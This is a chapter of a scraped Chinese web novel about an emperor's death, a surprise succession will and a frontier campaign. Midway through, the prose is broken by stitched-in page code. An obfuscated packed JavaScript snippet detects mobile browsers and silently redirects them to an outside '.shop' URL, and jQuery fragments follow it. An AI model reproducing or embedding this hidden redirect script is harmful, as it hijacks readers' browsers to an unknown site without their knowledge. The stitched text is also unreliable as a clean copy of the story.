文趣网 > 其他小说 > 南安录 > 61. 遗诏
    “没关系,我教你!”司徒霜可逮到一个会骑马的了。

    到了马场后,司徒霜带姜易参观了一下自己的马厩:“它们的性格都非常温顺,随便挑。”

    姜易双眼放光,这些马儿的鬃毛一看就是精心打理过的,她挑了一匹棕红色的骏马。

    “它叫姣姣。”

    姜易听了它的名字,面露惊讶,这匹马怎么看都跟娇娇挨不上边。

    这个表情姜佑在太多人的脸上见到过了:“因为霜霜给萧涌清的马取名叫小软软,所以萧涌清也给这匹马取名叫姣姣,这名字喊久了,马儿就记住了。”

    姜易焕然大悟,等她上了马才知道,这马和姣姣也差不了多少,性格超级的温和!

    “姐,你要不要试试?”姜易见姜佑无聊的在一旁看着她们,问道。

    司徒霜也顺着视线看过来,她都已经做好了姜佑会拒绝的准备,没想到姜佑竟然破天荒的点头了。

    但是姜佑没有骑过马,连上马没人帮忙都有些困难。

    司徒霜一遍一遍地给姜佑讲技巧,姜佑也很认真地听着。她也不知道为什么,今天就非常的想学骑马。

    “骑马的第一步就是要有信心,要让马知道你不是好欺负的!”司徒霜牵着马在前面跟姜佑说道,“先让师傅牵着你走两圈,我去看看易儿。”

    姜佑惊心胆颤的坐在马上,完全没有额外的眼神能分给姜易那边:“好。”

    姜易这边就比姜佑要顺利许多,她稍微适应了一会儿,就很快掌握了技巧,路过姜佑的时候还不忘跟姜佑说话:“姐,你别害怕,表姐的马儿都很温顺的。”

    刚开始的时候姜佑确实有些害怕,但是前面有师傅牵着走就还行,只是要是师傅走了,那股恐惧感又会上来。

    直到围着马场走了四五圈,姜佑才能完全的适应独自坐在马上。

    一下午的时间很快就过去了,姜易骑得不亦乐乎:“表姐,我明天还能来你的马场玩儿吗?”

    “当然可以了。”

    姜易来了几天,姜佑也跟着来了几天,她已经能独自骑着马走了。

    姜佑还在姜易学了不少骑马的技巧。

    “听说你最近在学骑马?”萧涌清好奇。

    他好不容易得了闲,立马就将好朋友们约了出来。

    “是啊,我姐现在骑得可好了。”姜易忍不住向别人炫耀。

    姜佑无奈,她也只能勉强的小跑几步而已。更别说这几天学骑马,她浑身酸痛,要不是萧涌清难得出宫,今天她应该会躺在床上休息。

    “你呢?最近在宫里还好吗?”姜佑问道。

    听到这里,萧涌清叹了大大的一口气:“别提了,是真的很累,每天都有看不完的奏折。”

    姜佑:“陛下的身体如何了?”

    “不太好,父皇的身体本来就一直不好,自从......之后,就更差了,这段时间边境还在打仗,父皇只要一清醒就面见大臣,但今天早上起来,父皇的气色好了很多,就让我休沐一天。”

    司徒霜见萧涌清越说越沮丧,立马转移话题:“边境现在如何了啊,贺礼朝在那边的消息你知道吗?”

    说道贺礼朝,姜佑也非常的好奇,这几天预期说是骑马,其实就是姜佑想给自己找点事儿做,要不然姜佑整天待在家里就开始胡思乱想。

    “你们知道吗?元漓派的主帅是那个我们在澧县遇到的慕元栖。”

    他们已经知道了慕元栖是元漓的二王子,但是听到这个消息,还是有些惊讶。

    “那小子,在南安蛰伏那么多年,恐怕此次大战就是他挑唆起的。”司徒霜没好气的说道。

    萧涌清有些走神,其实他没说的是,与慕元栖在一起的还有萧沐洲。

    “萧涌清、萧涌清?”

    等萧涌清回过神,看到眼前的三双眼睛都看着他,他不知所措地喝了一口茶。

    “你怎么回事啊,叫你那么多声,都不回应。”司徒霜觉得他今天有些奇怪,“你还没说,贺礼朝怎么样了呢?”

    萧涌清立马回到之前的状态:“他呀,他在那边挺好的啊,我大哥还给我写信说他的好呢。”

    他们都知道那是贺礼朝的志向,他也终于算是实现理想了。

    咚咚咚——足足九声钟响。

    听到钟声的那一刻,每个人都不可置信的看向同一个地方。

    萧涌清来不及思考,马上抓起自己的斗篷,往外面跑去:“然婺回宫,快!”

    这一切发生的太快,快到其他人还没有反应过来。

    “怎么会。”姜佑喃喃地说道。

    萧涌清刚刚还说陛下今日的气色还不错。

    司徒霜迅速地开始收拾东西:“佑佑,我们要快点回去。”

    等姜佑到姜府门口的时候,姜母已经身着素衣在门口等着了:“你父亲刚刚离开,你们快回去换衣服。”

    南安礼制规定,君王驾崩,普通百姓必须在家中挂上白幡直至棺柩下葬,还要身穿素衣百日。

    如今边疆还未安定,君王又驾崩了,南安的局势越来越不妙了。

    萧涌清赶回宫里之后,大殿外已经跪满了群臣,进了内殿,里面哭声一遍,最前面的是皇后和萧澈。

    这时太尉拿着一封圣旨进来,皇后看到遗诏,脸色变了又变,当太医说陛下快要不行的时候,她就带着萧澈匆匆得赶过来,可是直到闭眼,奄奄一息地陛下也没有说到底指位给谁。

    “陛下遗诏,传位于......”

    皇后死死地盯着沈相手上的遗诏,就差一点,差一点他的儿子就能当皇帝了,没想到煊帝竟然早就写了传位诏书。

    “传位于烨王萧涌清。”

    顿时殿内哗然一片,有人说,早就猜到了会是烨王,这几天陛下昏迷,都是烨王负责打理朝政;也有人说,怎么会是烨王,晟王战功赫赫,再不济新帝也应该是嫡子吧。

    众说纷纭,只要萧涌清一个人是蒙的。

    他早上走的时候,父皇还是好好的,怎么会那么突然,他僵硬的转过身,看向沈相,沈相朝他点了点头。

    下了朝后,煊帝将沈相留了下来,当着他的面写下了这封诏书,而陛下的脸色随着落笔,变得越来越差,几炷香的功夫就完全动不了了,只能躺在床上。

    短短一天,萧涌清遭受了两个重创,他不得不擦干眼泪,担负起自己的责任。

    直到深夜还在书房内坐着。

    “二哥?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612603|206004||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>窗户被几个小石子弹到,这是萧涟泽一贯的做法。

    萧涌清将窗户打开,萧涟泽就从窗户外翻了进来。

    “二哥还是这样不爱走门。”萧涌清苦笑。

    萧涟泽拍了拍手,又将窗户掩上:“走门会被人看见,太麻烦了。二哥我知道你今天心情不好,特意来陪陪你,看我给你带了什么?”说完举了举手上拿着的酒壶。

    “喝酒不太好吧。”毕竟这还在丧期。

    萧涟泽倒了两杯:“你当你二哥我真的是混蛋吗?前段时间酿桂花酒,剩的桂花,我拿来泡茶了,没了我,你还喝不到呢。”

    知道是茶,萧涌清才放心地拿起来喝:“多谢二哥了。”

    萧涟泽:“那么晚了,还不回去睡觉,是睡不着吧。”

    萧涌清低头笑笑,算是默认了萧涟泽的猜想。

    “我的话还挺准的。”萧涟泽随口说道。

    “什么?”

    萧涟泽挑了挑眉毛:“忘了?在我寝宫,我喝多了,然后......”

    萧涌清突然想起来他说的话,立马捂住他的嘴巴:“我想起来了,想起来了。”

    其实萧涟泽只是想逗逗他而已:“好啦,别给自己太大压力了,我看你前几天帮父皇处理政事,处理的挺好的啊。”

    在萧涌清眼里,一时的帮忙和永远的责任是完全不同的:“二哥,你知道我不喜欢做这些。”

    萧涟泽何尝不知:“生在皇家,就要永远做好准备,不是吗?你比......你比你三哥幸运的多。”

    萧涌清度过了一个幸福的童蒙时光,还有几个志同道合的好友,反观看萧沐洲,从没有享过乐,连交什么朋友都是德妃帮他选的。

    “二哥,三哥他......”萧涌清不知怎么开口,萧沐洲已经投靠了元漓。

    “你觉得他背叛了我们吗?”

    ——

    “在看什么?”萧泓翊顺着贺礼朝的视线看去。

    白天算是贺礼朝来到这里,与元漓真正意义上的正面对抗。

    萧泓翊觉得贺礼朝在领兵打仗上有点东西,不仅仅是纸上谈兵而已,让他不由的更加欣赏这个少年。

    “殿下,臣只是在发呆。”贺礼朝毕恭毕敬的行了个礼。

    但萧泓翊在军营待久了,面对这些虚礼满是不适:“这边没有京城那些条条框框,也不必称我为殿下,你是陛下亲封的昭远将军,我们算得上平级。”

    萧泓翊今年三十有四,但在军营已经待了快二十年。

    “听说你师傅姓宋?”

    宋师傅与贺礼朝的关系,从来没有瞒过萧泓翊,当年萧泓翊说希望他们能回去过自己的日子,但是宋师傅却时时刻刻的在关注着萧泓翊,一直以来他和萧泓翊的联系也没有断过。

    贺礼朝面对萧泓翊的询问,也并不感到奇怪:“师傅他现在过得非常好。”

    萧泓翊听到他过得好,终于露出了浅浅的微笑:“明天恐怕有一场硬战,早点休息。”

    贺礼朝低头应下,萧泓翊走后,他又在外面站了会儿,来这边那么多天,每天晚上都能看见月亮和闪烁的星星,唯独今天晚上,天空空的。

    只是不知道京城今晚能不能看见月亮。